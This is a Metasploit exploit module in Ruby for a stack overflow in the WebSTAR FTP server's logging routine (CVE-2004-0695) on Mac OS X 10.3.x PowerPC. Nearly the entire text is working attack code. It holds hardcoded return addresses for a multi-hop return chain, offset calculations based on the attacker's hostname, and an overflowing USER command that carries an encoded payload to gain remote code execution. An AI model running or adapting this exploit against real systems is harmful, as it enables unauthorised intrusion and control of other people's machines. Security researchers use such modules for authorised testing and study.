WebSTAR FTP Server USER Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'WebSTAR FTP Server USER Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the logging routine  
of the WebSTAR FTP server. Reliable code execution is  
obtained by a series of hops through the System library.  
  
},  
'Author' => [ 'ddz', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-0695'],  
[ 'OSVDB', '7794'],  
[ 'BID', '10720'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 300,  
'BadChars' => "\x00\x20\x0a\x0d",  
'Compat' =>  
{  
'ConnectionType' => "+find"  
},  
},  
'Targets' =>   
[  
[  
'Mac OS X 10.3.4-10.3.6',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_PPC,  
'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],  
},  
],  
],  
'DisclosureDate' => 'Jul 13 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),  
], self)  
  
  
end  
  
# crazy dino 5-hop foo  
#$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120  
#$r28 = pack('N', 0x90034d60); # getgid()  
#$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30  
#$r30 = pack('N', 0x90023590); # call $r3  
  
def exploit  
connect  
  
# The offset to the return address is dependent on the length of our hostname  
# as the target system resolves it ( IP or reverse DNS ).  
mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])  
basel = 285 - mhost.length  
  
print_status("Trying target #{target.name}...")  
  
# ret = 296  
# r25 = 260  
# r26 = 264  
# r27 = 268  
# r28 = 272  
# r29 = 276  
# r30 = 280  
# r31 = 284  
  
# r1+120 = 408  
  
buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)  
buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120  
buf[basel , 4] = [ target['Rets'][1] ].pack('N') # getgid()  
buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30  
buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3  
buf << payload.encoded  
  
send_cmd( ['USER', buf] , true )  
send_cmd( ['HELP'] , true )  
  
handler   
disconnect  
end  
  
end  
  
`